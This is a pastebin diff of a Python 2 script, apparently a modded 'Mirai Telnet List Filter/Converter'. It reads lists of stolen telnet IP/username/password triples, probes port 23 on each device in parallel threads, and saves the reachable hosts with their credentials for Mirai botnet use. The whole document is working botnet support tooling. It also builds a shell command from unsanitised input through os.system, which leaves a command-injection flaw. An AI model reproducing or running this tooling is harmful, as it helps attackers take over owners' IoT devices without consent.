View difference between Paste ID: HVa48esg and 2yP3uzGf
SHOW: | | - or go back to the newest paste.
1
#!/usr/bin/python
2-
# Mirai Telnet List Filter/Converter | By; LiGhT
2+
# Mirai Telnet List Filter/Converter - Modded Only filters/Converts devices that are online 
3
4
import sys, re, os, socket, time
5
#from multiprocessing import Process
6
from threading import Thread
7
8
if len(sys.argv) < 3:
9
	sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list] [output file]")
10
11
info = open(str(sys.argv[1]),'a+')
12
output_file = sys.argv[2]
13
14
def filter(ip,username,password):
15
	ip = str(ip).rstrip("\n")
16
	username = username.rstrip("\n")
17
	password = password.rstrip("\n")
18
	try:
19
		tn = socket.socket()
20
		tn.settimeout(5)
21
		tn.connect((ip,23))
22
		print "ONLINE:\033[32m %s\033[37m"%(ip)
23
		os.system("echo "+ip+":23 "+username+":"+password+" >> "+output_file+"")
24
		tn.close()
25
	except Exception:
26-
		print "OFFLINE:\033[31m %s\033[37m"%(ip)
26+
	#	print "OFFLINE:\033[31m %s\033[37m"%(ip)
27
		tn.close()
28
		pass
29
 
30
for x in info:
31
	try:
32
		if ":23 " in x:
33
			x = x.replace(":23 ", ":")
34
		shl = x.split(":")
35
		fill = Thread(target=filter, args=(shl[0].rstrip("\n"),shl[1].rstrip("\n"),shl[2].rstrip("\n"),))
36
		fill.start()
37
		ip=shl[0]
38
		username=shl[1]
39
		password=shl[2]
40
		time.sleep(0.005)
41
	except:
42
		pass
43
#fill.join()